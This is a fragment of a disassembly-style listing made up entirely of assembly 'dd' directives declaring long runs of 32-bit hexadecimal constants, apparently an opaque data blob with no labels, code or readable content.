dd 18FF1E99h, 7431ACAh, 3E7058Ah, 0E670007h, 5220CC9h
dd 24500714h, 189F267Ah, 1D341B33h, 11021F77h, 15991305h
dd 0D016E32Dh, 4C091508h, 2A3360Fh, 7340087h, 6C3D0566h
dd 1FDE162Ch, 2022A922h, 97154624h, 641E201Bh, 1B882D18h
dd 7F6058Dh, 343601D8h, 80F2C0Dh, 3F0B0309h, 2BDD29B5h
dd 17DD15CCh, 0A17A3923h, 6FF236FDh, 0AE7E2C06h, 0B4BB6742h
dd 36B802B3h, 0FABD2949h, 0B3067AB0h, 4D3A453Fh, 2C54D095h
dd 0A55021CAh, 0ED4077ABh, 8D2C6F78h, 0D93BC42Fh, 0A9377155h
dd 0B2A83477h, 3D75D3F1h, 9C95B50Dh, 0B6951A28h, 4291BE1h
dd 3E0F2535h, 2C2AF00Eh, 745E6E3Dh, 440F3241h, 932B1539h
dd 48D9273Dh, 49195B05h, 0DE46196Ch, 0A8321121h, 5D2576D4h
dd 7B7C2899h, 0D0D1472Ch, 45C4B4E5h, 0C9B51531h, 58994CC7h
dd 0A1C16A4Ah, 6F1C4CCDh, 33808A69h, 0D91260ABh, 0F3126B27h
dd 0D155A024h, 0B7CE30D0h, 0B1B13BC5h, 6F313B37h, 36D8A1D3h
dd 43435C4Ah, 7CE3943Eh, 56E1E079h, 41A07174h, 522C7D42h
dd 726C3AD1h, 2FD4BC5Fh, 3D3D5357h, 556AB1BAh, 981F0D06h
dd 0DF1F5396h, 242C222Eh, 2828262Ah, 2C242A26h, 30202E22h
dd 3B333DCEh, 37373935h, 333B3539h, 143F313Dh, 1F111A1Ch
dd 232D212Fh, 0EB2496F1h, 0D4402053h, 6C554B44h, 57333130h
dd 67323595h, 1EB3395Ch, 0D3BF393Ch, 21FD187Bh, 22A8EA24h
dd 2556346Dh, 0A13D6ED8h, 0A539722Bh, 2FD8F1E0h, 0BFEC3430h
dd 7A822C69h, 157D3F3Bh, 6FE720E7h, 724F7E58h, 1560AE22h
dd 0C178753Eh, 2D212B87h, 297EA22Ch, 0DD306563h, 0B2B57725h
dd 2FFB8D1h, 8C53BCBEh, 279F1A7Eh, 45BCCA05h, 983A683Eh
dd 642B3A21h, 0E1A0C629h, 0C4177E2Bh, 0E9D6AA3Dh, 0E7DFD3Eh
dd 89797E3Dh, 9D1E7D55h, 653F8124h, 37272512h, 0ED163FE8h
dd 4632CF72h, 3F3AAE71h, 777F1E34h, 5B90D0C4h, 0FF2BC2C1h
dd 951C1EC1h, 229D2222h, 22E1A729h, 2EB0FFD8h, 5C292F92h
dd 0B9C3BB07h, 62113467h, 3CFFBB65h, 3E1CEFD3h, 63EA9E54h
dd 31361F48h, 253761CAh, 0D6CAA60h, 7D202A02h, 32462E4Fh
dd 3550A9DAh, 23033798h, 113D3F3Bh, 8219FFB5h, 101FB83Bh
dd 0C39A6D20h, 28AC6926h, 11A02909h, 26AFB1EDh, 35373259h
dd 7408B703h, 3D51261Dh, 0D5B46F7Dh, 9FF545F4h, 0E422E972h
dd 51EA01A0h, 0AFC22F28h, 332EC150h, 0E83A24CFh, 0B7A76CB6h
dd 9BBF212Ah, 3E1D1629h, 3E0A005Ah, 6DAC7091h, 2E85338Dh
dd 0B4C82427h, 0E3266DDCh, 0B961298Dh, 0F499BDEBh, 31395E2Ch
dd 31E64CBEh, 167D61BBh, 36401C1Eh, 33C4FE73h, 0CC4B6744h
dd 0D6B7EA3Ch, 27D726AFh, 714EF20h, 3838A1BCh, 28E32EB5h
dd 994D0BDFh, 0A410DE0Dh, 140C0286h, 2727D0A0h, 2F2BB7ADh
dd 7041A378h, 0BF656539h, 17973648h, 3EE33E69h, 64A131Dh
dd 1E1A5B97h, 25AB7EC0h, 776E4552h, 956EA9A5h, 15C67D3Ch
dd 33225001h, 0DF32BE3Ch, 0A53AB9F7h, 3DD63972h, 745C7C46h
dd 665E716h, 2225643Bh, 0CA5D2EE0h, 32C529CBh, 1B31E736h
dd 1755A472h, 6BFFF8B2h, 4A3C033Bh, 0EA503B23h, 2DA92EFEh
dd 58841164h, 4D200EA6h, 0D3D26A3h, 0F224EB24h, 84432B2h
dd 49F0AA7h, 820682h, 9ED102FBh, 0F1221EA1h, 0DF1EC91Ch
dd 16272418h, 121D1433h, 307C1068h, 970D530Fh, 0D909980Bh
dd 2CB0439h, 242D00C2h, 57211D31h, 4F1D401Fh, 1826BA1Bh
dd 14F11686h, 2F2E12DAh, 8586133h, 0CC70EA8h, 76202C4h
dd 3C6019Eh, 23382110h, 1F181D33h, 1B7C1973h, 17A8154Dh
dd 107911A6h, 0CE10E46h, 9BD0BB2h, 5920795h, 3D2D3F3Bh
dd 1DA01A3Fh, 4610311Dh, 3D159F13h, 861A8014h, 971E9F18h
dd 0A539EF1Ch, 7743ABAh, 0C9B3E436h, 0B933CDBFh, 0E3E63FC6h
dd 0DF0963E2h, 84226634h, 0F141B22h, 255E2829h, 0CF2E44EDh
dd 0B5A8DBE6h, 5427D73Dh, 373A07B2h, 0AEE87676h, 0BB14995Ch
dd 3928A075h, 672B2FADh, 220B3C2Dh, 2F243BC5h, 731BD133h
dd 72BDDC11h, 0BA77B23Ch, 556F7F1Ch, 7199741Ah, 0C22875EEh
dd 4783CC39h, 220D647Eh, 0E44528C3h, 16651A8Fh, 0F367763Fh
dd 1BE13713h, 3648E734h, 364C142Eh, 40DC14h, 0DE4DC32Eh
dd 6A296FABh, 26FE34EAh
dd 41EB1C2Ch, 32B4173Bh, 3EB82B74h, 0C2C3DDBBh, 3D8F32AEh
dd 71491CCFh, 21D24E49h, 2867AD4Dh, 39D4782Ah, 0BB3E8EF5h
dd 74F3C923h, 3A75D1B4h, 25A71EBDh, 4B683D2Dh, 1B1E1F5Fh
dd 3E2121BCh, 84772785h, 7F2DA92Ah, 771D657Fh, 67326663h
dd 7061656Dh, 3B6E6C6Dh, 9087864h, 3B151C2Bh, 4F7D5337h
dd 0C6798E93h, 464A2E2Fh, 47D64844h, 32728F87h, 72221559h
dd 434D4D57h, 381E343Bh, 1C2E0F5Fh, 4C261924h, 43534856h
dd 0D6D72752h, 2D246F5Fh, 0FE331760h, 0BE0C7DBBh, 77B3E636h
dd 49F5BE0Ah, 5A903710h, 708DE21h, 247DA972h, 0A1F82565h
dd 0F4106A77h, 2951752Dh, 640774BAh, 0C7613E67h, 0B922BAE8h
dd 1B3C4BFDh, 0D8DD4343h, 27226166h, 2F4CAE98h, 28E2A268h
dd 34C62F22h, 3D31183Eh, 3972CDBFh, 3D9937h, 383DFCC7h
dd 9A121D71h, 0C2A880E9h, 0A651665Fh, 0C27B3C23h, 0D6340D51h
dd 38B20715h, 143FB46Bh, 3921583Eh, 0B96216D3h, 19C4F23h
dd 25233A4Ch, 2407A1CAh, 482AED44h, 2DE12862h, 8F3BB3A3h
dd 0BEBD6FE5h, 0D8F9FC3Eh, 0B6F775B8h, 0D4933CE6h, 6E9B5294h
dd 0A6EC01F0h, 236B3E6Bh, 0AF5DAAE2h, 1225BA63h, 5FA32339h
dd 0F92E4EB4h, 0BC6E3DDBh, 63BBF545h, 4F669FCCh, 136159A0h
dd 0D9A7622Dh, 0CACAEBC6h, 92522C2Ch, 3A2D38E4h, 2527353Bh
dd 6B6D6F2Fh, 0C056B5CCh, 1E020C14h, 31619F1Eh, 0E75131DCh
dd 0AFD94576h, 0BF3B58DDh, 304AC0B0h, 0F65A74E4h, 96F3142h
dd 3EFD5FC4h, 42DB1AFEh, 7E2A8B40h, 7BE411E2h, 834E3A5h
dd 8F3B6BBBh, 0D907AC06h, 371B3Dh, 490D3532h, 2C49CDBFh
dd 19D3149Ah, 41175D3Dh, 0DB751C61h, 2B271A30h, 0EB6B2AE9h
dd 160C2EECh, 846C1113h, 0C6325334h, 486D8C27h, 1D305F29h
dd 0D4A2137Ch, 0A126E126h, 0FA24E730h, 0EBA23DBBh, 0AF2B4D2Ah
dd 31F2F520h, 0BB843FB4h, 69D25478h, 0F319F99Ch, 4FD13C53h
dd 22B9233Fh, 0FE07A420h, 0E2B0AA7h, 8ED53C3h, 0FA138847h
dd 0EE9D10A7h, 31193B37h, 6E381C69h, 0BCB51F3Bh, 0A15B531Ch
dd 2564032Eh, 6B2AF727h, 2F2C5A01h, 40062C2Eh, 351C3032h
dd 39487635h, 3F2A33h, 0FC186B3Eh, 318F1D08h, 2737B922h
dd 2B333383h, 0EE283E9Dh, 302B2E5Ch, 45E32432h, 0E6314635h
dd 3C3D3A48h, 0CBE7C3Eh, 8C7D897h, 232D2CDFh, 30A3A2Dh
dd 18522924h, 23D11EC1h, 3F03DF8Eh, 0CB785296h, 4E3AF103h
dd 41E5B815h, 1E03250Ch, 0D91A246Bh, 0CE723956h, 9892AA23h
dd 5AEDA921h, 3F21DB3Fh, 0D046DC64h, 0BB7C3937h, 7D32FA3Fh
dd 993897A2h, 0C4F0E2Eh, 9D742712h, 2C86522Eh, 472D3F4Ah
dd 39A03C2Ch, 6719590Ah, 0AB7D2DDEh, 2EBA1732h, 0DD2CD71Eh
dd 4499331Ah, 22432790h, 0FDD87631h, 768D2DC3h, 373E29CCh
dd 315AE5CEh, 0FA29C47Dh, 0EC24582Bh, 45BFD07h, 7CBE5Dh
dd 0A02C20C1h, 0EE3943E5h, 0E26A2168h, 0AAD1F4AFh, 933D51F9h
dd 83137ABh, 5278127Ah, 0D3F1D33h, 11C3EDBh, 223E4F40h
dd 263A243Ch, 0C6AA283Ah, 787E2C3Bh, 335B3645h, 4753659h
dd 6AB9C7ECh, 0FEB534FBh, 964D3437h, 0BCC853D0h, 22DBEA2h
dd 0E2AB5D4h, 0A2DC6C2h, 0B120278Ah, 26B02121h, 583263Fh
dd 9E0D3BB1h, 175BF302h, 623AF62Dh, 0C27F8035h, 6ACF1702h
dd 0EC9B3E62h, 0B6A2A62Ch, 60F986Bh, 3867CCDDh, 97C838D0h
dd 98F53EB6h, 0B5ED1EFDh, 0E0207A7Fh, 0D84C26DAh, 6897D940h
dd 4B2F2D2Ch, 63363191h, 12BF3550h, 0D7B93D38h, 0EF3F6B0Ch
dd 74167658h, 486E4A1Ch, 234F302Bh, 403517F7h, 0DF2DA72Ch
dd 0E383D87Fh, 6E21CBCFh, 0BB2F3937h, 0EC35B8BFh, 0A769173Eh
dd 61089973h, 262725E3h, 295CE626h, 2F2C338Bh, 0FA43EDF9h
dd 66376B36h, 0B94B4262h, 19795F6Bh, 4C1238E5h, 4F766C15h
dd 245A12E1h, 0A10E0A24h, 0AA456300h, 0AEFBD04h, 0F4314244h
dd 3A3F5CE6h, 0A0BBE10Ah, 9F1BA2B4h, 0F71D1DACh, 2321E10Bh
dd 21262942h, 7B780D88h, 0F30DE2A7h, 23A83161h, 0A42F5B0h
dd 0D3363CD8h, 219F1E3Eh, 0F6351D3Bh, 7223E0E7h, 0A75DA64Bh
dd 4367A502h, 0AA6DF5C3h, 47C4BA2Fh, 32776BE6h, 3BB9EB1Ch
dd 3DB61FDAh, 6DE8775Fh, 0A125EE10h, 2D6FAE2Eh, 0BA54CF77h
dd 0AB7FC92Eh, 0F103726Dh, 3EDB0E93h, 368B3739h, 9C3C3B3Ah
dd 2D30EFAEh, 32E1210h, 9E232E63h, 0F2EBCE34h, 0AE3C085Bh
dd 30CAAF73h, 7153B736h, 3804A7B7h, 623A8A17h, 5A332F3Dh
dd 0DD068F98h, 0A9232138h, 26E72B35h, 3B0E6568h, 8BABED1Eh
dd 929520B2h, 37361896h, 0BB87D188h, 603ECBA4h, 17691D1Bh
dd 394CC849h, 27252421h, 0A12DECA4h, 0A52972EDh, 64B820E9h
dd 62D56A37h, 39393CF5h, 2F822DADh, 71974E6Ch, 0AA600F3Ah
dd 30DB76FBh, 0A25E07EEh, 382CFB28h, 0B44FDABh, 24B5FEB9h
dd 0B2F80430h, 3DD5FAC0h, 0D2903FAEh, 343B6A96h, 2723C3A2h
dd 0E5AC8CD6h, 1F96D0A2h, 44A1A3Eh, 13C0686h, 0D8B0352h
dd 0B1D0C40h, 2C9E0947h, 273D2AA6h, 1B451916h, 1FE41DBBh
dd 12A511F6h, 16D414CEh, 9B30B25h, 0DF30FA0h, 1A03C5h
dd 44B0600h, 25A82793h, 19D41BC6h, 1BE31832h, 286E15C7h
dd 62152CFDh, 566F380Bh, 363834BAh, 2AFDBB33h, 3E1534F9h
dd 1D188B3Eh, 4B2003D2h, 0FD4C23DDh, 282864BBh, 2D6C8A4Eh
dd 0B8547F2Ah, 0D9743317h, 0B26E3B36h, 1970B6CBh, 7D1B3A1Eh
dd 98711E05h, 0A1DCDCEDh, 0AC7AE665h, 0CE386AACh, 0DF39EF38h
dd 27791411h, 77247609h, 53799247h, 0DA25185Ch, 0C521BFFh
dd 30620078h, 0D90AC3C4h, 0EA3C3A69h, 6324CC38h, 20720523h
dd 75377620h, 2A29789Bh, 7331DDFDh, 5E3C4C08h, 2A30810Ch
dd 4EDA646Dh, 6929A27Eh, 8F492D2Bh, 3261342Fh, 3610BD57h
dd 0AD5BB33h, 1A79B12Bh, 19619B3Ch, 6124774Eh, 0DAB8531Bh
dd 2BF19B33h, 2C2D2A28h, 9146BE9h, 64763732h, 0C6203796h
dd 3C7DFB2Fh, 83F1F6Ah, 20EF9E75h, 0CC277025h, 27477D87h
dd 3C8FA648h, 0A503CF24h, 0B4661431h, 5062DB06h, 0D0D3B39h
dd 3C7F3F18h, 944E1C76h, 0AF4EA8EEh, 0F370100h, 5EC26DE8h
dd 3722CF96h, 0F19EB824h, 6294E030h, 0D39EF1B3h, 0B43ADD6Ah
dd 4E2CAD26h, 3423126Ch, 0A4EFAF86h, 2A71A034h, 2155A425h
dd 67626C45h, 85F8DC3Bh, 0BE356576h, 0E2B49FBh, 1F1C7D7Fh
dd 12219A3h, 0C5612948h, 28CE8A27h, 0CD21413Ah, 0D419B22Fh
dd 0D50F4733h, 35381F16h, 0C00EB0FBh, 0DC28201Ah, 0F3E115DFh
dd 16332250h, 48F4A12Ch, 0FC2B5B3Dh, 4130984Dh, 1E115231h
dd 58E73644h, 513B4B0Ch, 6A7F5EEDh, 547ECD1Ch, 1E22151h
dd 2757FE72h, 5A4B49F8h, 434EFD2Ch, 11923141h, 37474282h
dd 4AB859E8h, 0B25EED3Ch, 1EFF1C6Ah, 2021C3FBh, 26C7F9CBh
dd 2A28A00Ah, 2D2DDD29h, 32C3FDC7h, 36C14291h, 0C884D033h
dd 3EC9833Bh, 0B0F41E77h, 23281FECh, 312223D1h, 29DABACEh
dd 2A2CDF7Bh, 0C375A2C6h, 35C0A932h, 0CB45DF3Eh, 0C9ADD83Ah
dd 4427363Eh, 1A211821h, 7A1D721Fh, 0AE195E1Bh, 3115CC17h
dd 45107712h, 0C20CA00Eh, 8836360Ah, 0B43A3A3Bh, 2B0A3D3Dh
dd 2F9D2D4Eh, 123D118Fh, 1647141Ah, 1AA7185Ch, 1D341F25h
dd 1A90353h, 4150637h, 8D80A0Ch, 0D0E0ED4h, 302F115Dh
dd 20E1111Dh, 6A05706Dh, 1A79086Ah, 0AD1F1D05h, 2CB14331h
dd 28B63534h, 3AC63433h
dd 3E2C3838h, 0C9101B35h, 21A01D1Eh, 73772722h, 0C5A94171h
dd 2C2C2BAAh, 0DCD8C9A7h, 0CA343032h, 2B315F00h, 3D6E58ECh
dd 1C494B94h, 481F4C71h, 76472273h, 7A478C25h, 2C797629h
dd 642F7C75h, 64993263h, 6A7B3667h, 3C697239h, 9B3F6E79h
dd 75F29649h, 62FA49DFh, 194E2D03h, 4F2A7944h, 2F2A2D8Dh
dd 16BB5560h, 0DBB53134h, 7C025138h, 8D066404h, 0CA25A523h
dd 19D427h, 0C61C841Ah, 7132C1Eh, 8D177D11h, 0F80B9E15h
dd 340FC809h, 1D023F0Ch, 43064F00h, 0F1279804h, 761C5F25h
dd 0C118FE1Eh, 2015251Ah, 0C1113217h, 80E3113h, 910A620Ch
dd 513F8308h, 3CCD9A22h, 10733AD5h, 0A1DD1C6Bh, 57BA13h
dd 0D82E4771h, 0FCCBC21Ah, 20AE812Fh, 31423FE1h, 397BE785h
dd 0AC09D081h, 0C6287AC7h, 70D5FE50h, 2C222EB0h, 0A4262A24h
dd 2B242927h, 0B42A679h, 0A3E2B038h, 6167C8BFh, 1A9639D0h
dd 0BA3F3D3Dh, 16DF69DBh, 0B6AA25DAh, 27E50007h, 0A0B43A7h
dd 0AA12DAAh, 6030B033h, 6064D463h, 9AA92DC8h, 0A139F933h
dd 1D081A0Ah, 55AB494Dh, 733706h, 0E9542EE6h, 0CD50A023h
dd 2CBC3267h, 39B93212h, 0F40330D6h, 0FECEE48h, 1A04381Ch
dd 11F159Eh, 0D2A63227h, 46273553h, 726D828h, 313BA4E5h
dd 74D322B9h, 66C0437Bh, 3EC63E29h, 9E1F3C1Ch, 95386BD5h
dd 0A97123C0h, 0F6ADFD84h, 390BD2A2h, 2B54FC20h, 373D5720h
dd 333E313Bh, 3C917B4Ch, 3B264C38h, 0A21C037Ah, 7E41630Ah
dd 0C5460484h, 213F0F38h, 32CA870h, 752011A9h, 4550631Ch
dd 5E561897h, 57693067h, 3A4C9F7Fh, 4F554C3Eh, 663D7373h
dd 30784A49h, 6E0C094Eh, 2E3140CEh, 8D3E4336h, 48324819h
dd 0AA353F30h, 6F7A2834h, 0F1E4D096h, 0EB432021h, 23B7B424h
dd 26E42046h, 92B62E22h, 9BA43D36h, 5A251732h, 29526AC3h
dd 0C96D39BBh, 63BE371Ch, 0A9CA2030h, 1826E761h, 0C32829E9h
dd 2BBEEF14h, 63097FBBh, 73F9BE65h, 3B8A3FD0h, 2EA6556Ch
dd 0D31D97D4h, 0DF7AC8F7h, 24B3AEDCh, 0A00268BFh, 2D2DBBADh
dd 5A61907Dh, 16D4A8F6h, 38697C39h, 1AF9BFFBh, 5D761D55h
dd 0A8164CFBh, 0A3AD3E62h, 0AD276C36h, 0DA2B7A9Ch, 6EA17B10h
dd 14143092h, 58011286h, 2FCCBA03h, 2024C026h, 1C67223Eh
dd 18F11EA2h, 15641B07h, 2D2B15EAh, 312F2F5Dh, 7303209h
dd 0CB026505h, 0BF0DF90Ch, 18077D0Ah, 0FC276E25h, 10185219h
dd 1D1DF61Fh, 0EC4E5A14h, 0FFA09A8h, 0DB343129h, 67987563h
dd 0DBE59BD0h, 37FABE3Bh, 9E410ABBh, 7255101Ch, 206588CBh
dd 0AEEF2F46h, 0EEE1080Fh, 0B2603115h, 76DD4C32h, 0C5C716BCh
dd 30DCE884h, 0E2D50BBCh, 2C80DF2Dh, 35D38DD0h, 1E186EF7h
dd 2DFC6E2Bh, 0BD650FAAh, 0DFE5BB16h, 0EC89BC1Ah, 0CD5A1A08h
dd 0D3F345E2h, 7077541Dh, 790146C9h, 18221621h, 0A843252Ah
dd 350F246Ch, 0F436E2BCh, 521F4E13h, 0E4BB6A29h, 14381C09h
dd 0BF9C8798h, 4182AB21h, 8B323375h, 378A60B9h, 655EA0A1h
dd 6332919Bh, 0BBBB3135h, 6E7F3999h, 9F933D9Fh, 1EBF261Bh
dd 0D21816Bh, 82258676h, 880D2886h, 2A3CA82Bh, 32936536h
dd 383595FFh, 3BED3895h, 9C583F39h, 1C4DE73Fh, 5E3248E6h
dd 75162273h, 0E521C38Fh, 7D25C748h, 0F72326C6h, 11783321h
dd 683B5D0Ah, 0DD17F8D2h, 1E1FC820h, 0A1C01AEDh, 5043E474h
dd 2CD37075h, 992FDA54h, 2C2C7E29h, 0C432DA9Dh, 0C232631h
dd 35072E3Ch, 8E04114h, 1F111D13h, 0A7CA212Fh, 0FB246661h
dd 0C32B2B6Eh, 6B2C6C5Ch, 93021574h, 5E5C6504h, 337A3138h
dd 9F0621D4h, 0BE24A05h, 57E12B87h, 0E6FD24E3h, 2A389127h
dd 0EE1EEC28h, 4E158CA2h, 0BCB44D92h, 3A92CB83h, 0AE3DF432h
dd 0FD9C6E3Fh, 0E2B49F1Fh, 0C4C5C0CAh, 29315257h, 39087FA1h
dd 0B20C6AA5h, 7708F672h, 0B9B1F7B3h, 0B838343Bh, 0F71F7F49h
dd 4539502h, 0A8AA3629h, 2CAA3347h, 288BA760h, 0B53BA5ADh
dd 0B6A72A32h, 2D57990Eh, 3D1A1399h, 9A2C6B5Dh, 4E1F2350h
dd 0CBDB2A3Bh, 73196476h, 0AAE200C8h, 0A47C147Dh, 18335BC0h
dd 0F8764F94h, 0D338C7F9h, 0B42D3DD6h, 31F5D3F3h, 0C2912BFDh
dd 2957E128h, 0AF9D2D22h, 79031877h, 0CBBAC314h, 603A401Bh
dd 6AB13BE7h, 0DEFBBF13h, 27BD203Bh, 281A1FD1h, 411F0A19h
dd 1238931Dh, 2D1D10D8h, 0C80CE558h, 82D0F32h, 4590A77h
dd 84013BA8h, 626E603h, 1E0F7723h, 0A4832121h, 2B277230h
dd 0CE1B2829h, 0F11D721Ch, 2FE1204h, 38AE0109h, 3C03648Bh
dd 0FB3B06B1h, 0FEBD4B11h, 8D368120h, 639F2D60h, 0CAF1EE20h
dd 0FA020D2Ch, 2D5231D1h, 7736D4D7h, 0DACB0F29h, 0C0121D3Ch
dd 323D1CFAh, 14CB112h, 26C43F0Fh, 0CB000407h, 19B04C2Bh
dd 5231D144h, 36D47108h, 0DBFFF839h, 2E1D333Bh, 0C7D40EC0h
dd 0A2F80F3Eh, 0A020E722h, 772452FDh, 206C2277h, 3451EBAFh
dd 62FAB8F1h, 0AE9BC36h, 83C7B0FAh, 0DC533DD2h, 22F6DF42h
dd 24A889D2h, 28A24EEFh, 2FCAA92Ah, 514B4629h, 8D99C133h
dd 3B37363Eh, 0C3BC1B2h, 2B770E79h, 1F4A2D4Ch, 43127D10h
dd 4B164D14h, 1B5E1928h, 1F521D54h, 0B70231B0h, 0BB06BD04h
dd 0B3AA908h, 0FA60DA8h, 1EBD2C87h, 8A11842Fh, 9A158813h
dd 1AE91827h, 1EE51CEFh, 0E60130FFh, 0D605E803h, 93F9DC07h
dd 9E2DBC38h, 19193B3Fh, 0CA21752Eh, 55705320h, 665DAE24h
dd 3B4C385Ah, 62A22EAEh, 35746426h, 0B05E672Ah, 3D4C3F44h
dd 44F2E1Eh, 44B0D70h, 35D371F2h, 0E9259609h, 0A7BD3C7Ah
dd 64DF28CFh, 6467C225h, 0E9F7C6BCh, 4C353853h, 455021Bh
dd 2EBFF54Eh, 0E7A132E0h, 772A9514h, 0A07B7E2Dh, 0A8EA2C8Ch
dd 2C3831B4h, 62D784DCh, 1B1E6D38h, 2AC16F6Ch, 186D0F7Bh
dd 95F72BC5h, 0AD35A651h, 8A110A1Ah, 0F9D27C2Ah, 320E381Ch
dd 392E3577h, 3B3CBD37h, 60B03E3Bh, 0CC0C1E56h, 0AB218FA2h
dd 2624B0ACh, 0AFA27726h, 452F2BBEh, 3CC18C92h, 0A9F15F12h
dd 0DA26C7D7h, 1DAD32EAh, 0E2F3530Fh, 0E59E1C7Dh, 70236340h
dd 0A3753601h, 34D419E4h, 0A275D1C5h, 0B5D1330Bh, 0EA21F134h
dd 2AFD3BFBh, 1AFDE5FFh, 0DFAC0BDAh, 0AB34E221h, 31F933FBh
dd 3DFE627Ah, 39EDBC9Dh, 1C24FB0Fh, 0BB39B369h, 7005734Dh
dd 7F757E39h, 18B1DB17h, 66623F8Fh, 33714F36h, 9E3C6C26h
dd 3B64BAA4h, 74739050h, 0E93BB4B4h, 1E2D3921h, 3A3C15C1h
dd 1C5D855Ah, 606958AEh, 0E4031823h, 0A9E1A123h, 0D5BEFA22h
dd 535C3DEFh, 196331B2h, 0CB1C3636h, 603FFA35h, 0A419BF8Fh
dd 211F3737h, 78E16022h, 11226784h, 282B63B4h, 45401499h
dd 105C6D45h, 1F476953h, 3E645F5Eh, 4713F3Dh, 1D510EEDh
dd 0CA233544h, 171930D6h, 584B4B0Ch, 300E2B9Ch, 54325F59h
dd 8637174h, 3B525A1Ch, 4B614F5Dh, 6A747D69h, 66615397h
dd 19732710h, 4F0DCA03h, 1E2D1F3Bh, 32C30FC7h, 36C10991h
dd 0C816D006h, 3EC9573Bh, 2F42917h, 0D5B91FECh, 0AFCC1022h
dd 0EE28D529h, 0C5182BDEh, 75719ED1h, 35C0C6BCh, 0CBD7DF03h
dd 339E183Ah, 0F42D3FCDh, 711FECC2h, 130B22D5h, 28D5E9CDh
dd 68A0DE56h, 0B0792A09h, 72BAC3BAh, 38BFBC24h, 0B2B31299h
dd 8B545E94h, 89964D9Ch, 22028922h, 2426B0ACh, 3E3AE9ABh
dd 0AF84A3A4h, 197CBC63h, 632DD7Ch, 2A6C2818h, 7FBD6B9Ch
dd 0F64F48D9h, 23E110EAh
dd 27E52565h, 103BAB73h, 5B39AFEAh, 8470210Bh, 37BB0C26h
dd 82344C54h, 3D3D3D7Bh, 1CD89A61h, 212BDC15h, 0A8266738h
dd 6DA1E2A6h, 7F2E3B0Eh, 60202D2Eh, 65657360h, 1D7CF026h
dd 0B436BB1Ah, 4591B72h, 0DF031EDDh, 463A234h, 2923B6A0h
dd 0A9C32929h, 60AC2ABDh, 626300F7h, 0AB1432A1h, 0AA36263Dh
dd 1FAF9939h, 412A13DCh, 2ED0A844h, 1BE22F64h, 2B252597h
dd 217F2391h, 8D245938h, 8F663BC4h, 3B3E2FECh, 0D7313F3Eh
dd 1C1D039Ah, 7474739Fh, 620190A8h, 3E340B23h, 3E2E26C3h
dd 2E213403h, 0B317CDDBh, 3AD92235h, 25343838h, 1EF991D7h
dd 0CA7DF17h, 0A6F5CB38h, 0AE50C52Fh, 90C43223h, 6CB426ADh
dd 2D1C3AB3h, 30BB9EDEh, 2A2FBC92h, 9F8EB5D6h, 33985E14h
dd 2BCA37h, 8627E3CDh, 5D3327A2h, 34362E2Eh, 0BF62257Bh
dd 51D8DEFDh, 0FCBE0F39h, 1B675A3Dh, 10541937h, 766B560h
dd 272BCD37h, 776A1131h, 0AB213E08h, 5BD031F8h, 3436A334h
dd 3966D4D0h, 0BC3F3D3Ch, 5A9418DFh, 17D5343Bh, 8E4D2273h
dd 9AC8B4E2h, 13DF842Dh, 9337D13Fh, 0DE3B3692h, 3199F585h
dd 0B4329C1Bh, 4D19EB7Fh, 0C9381E6Eh, 612C030Eh, 28C9EFADh
dd 3F7EC33Ah, 23A1DF2Ah, 0D79EA636h, 0F2B33326h, 0BF193F2Bh
dd 39CA3138h, 30D16DF5h, 27D37EAAh, 4B3CD694h, 255B99A2h
dd 60762ABDh, 3CD9362Dh, 7E425D51h, 5D3344B2h, 4C25DEEDh
dd 13BA5CF4h, 39A93800h, 21C4345Bh, 53BA1FDBh, 262A6BEBh
dd 0B0BB08D0h, 7DDE3134h, 0C4BAC5CFh, 0C9DED56Ah, 7F31E3E7h
dd 7D2B012Eh, 7B032F93h, 33DAAEB0h, 0A4DB8C3h, 0CA83587Fh
dd 47435317h, 23F821F8h, 0FF3F6CE9h, 395071EEh, 0C77B412Eh
dd 0DA050C30h, 29272729h, 2D232B25h, 313F2F21h, 3537333Dh
dd 1D7CBC66h, 9D327B3Eh, 76A321DDh, 0A86DF30h, 3971E211h
dd 68752B95h, 1AEFAB26h, 0B5497E91h, 74512C10h, 0D04B3804h
dd 0B3FF3F7Fh, 0F3223F99h, 0A013DD8Fh, 34E38902h, 0A7D9ECA7h
dd 2B0EBDE8h, 0DD2D2DC0h, 18E3C69Eh, 73F1CC34h, 3F3A291Ch
dd 39133DB7h, 129F6BF3h, 0C82DA02Fh, 7229A50Bh, 0AA6C2867h
dd 2B2CED08h, 0B355BE0Ch, 0B716763Fh, 7FD13F3Bh, 1EFB30BDh
dd 2C5B17B0h, 23A83B92h, 0F403A22Ch, 0C12016A7h, 3D1DAD27h
dd 16351EA6h, 7533596Eh, 0B82B3C34h, 48EE3214h, 0DC283C2Eh
dd 0B1D8EDEh, 0DCADE3E3h, 2AD84E93h, 0C4D2243Dh, 10220FD3h
dd 0BF231665h, 343DC6FDh, 0CCB03A6Bh, 0EA143F57h, 0D05E964Ch
dd 0CB20DFE1h, 0ACB50561h, 0F0C2E660h, 9F2A5EEDh, 303A3FD0h
dd 32393BDCh, 547753F4h, 5357473Ch, 2A327D77h, 2F14D031h
dd 38256C29h, 315920F6h, 3D272B69h, 0A152376Ah, 32351D37h
dd 3B3AF951h, 3E14505Fh, 0FB1CAA39h, 20B50019h, 2F257873h
dd 2ABE27C2h, 6955582Fh, 30F0075Dh, 0F152555Dh, 3C984436h
dd 1483322Fh, 1C143F31h, 64941E11h, 0CEF3062Bh, 3C63C5D0h
dd 280F7EA2h, 30AF7F3Dh, 64626021h, 0F8E8E8DDh, 33255A44h
dd 0F30F826Bh, 514C59A3h, 0E8B3BA3Ah, 20311458h, 2B93027Dh
dd 6CCED12Ah, 0E9DA3030h, 34779E34h, 0AE2D4538h, 3F063EBFh
dd 631C4433h, 262126F7h, 76372402h, 0AF77EBADh, 68EF7850h
dd 0D4ABA27h, 0A62D5C7Ch, 2A01773Bh, 696B6968h, 574A87Bh
dd 17203E22h, 3D006FABh, 3CD79366h, 2FFB6F2Ah, 0B4C8A42Fh
dd 510873CDh, 0BD385D0Ah, 3D40074Ch, 9427BD02h, 0B4239021h
dd 18B91E21h, 14811A85h, 9E172A85h, 8E139611h, 833F60Dh
dd 4E70AFFh, 3CE706EFh, 0F303DC01h, 0EB22F320h, 1FD81D20h
dd 211B2424h, 16262915h, 1236103Eh, 0B7F50C2Eh, 37B21124h
dd 73F3B3Fh, 501ABD54h, 0BB365C5Fh, 0E92760D5h, 889C6CDCh
dd 0A32A68ABh, 2D2AECB7h, 0E10CD827h, 0B23AB5F2h, 3A39399Fh
dd 3F3D5639h, 1D761E55h, 4B227507h, 4F2B4926h, 11BB2627h
dd 0C57D0A40h, 11CFE4EDh, 4370212h, 6E68A30Fh, 9C683F0Ah
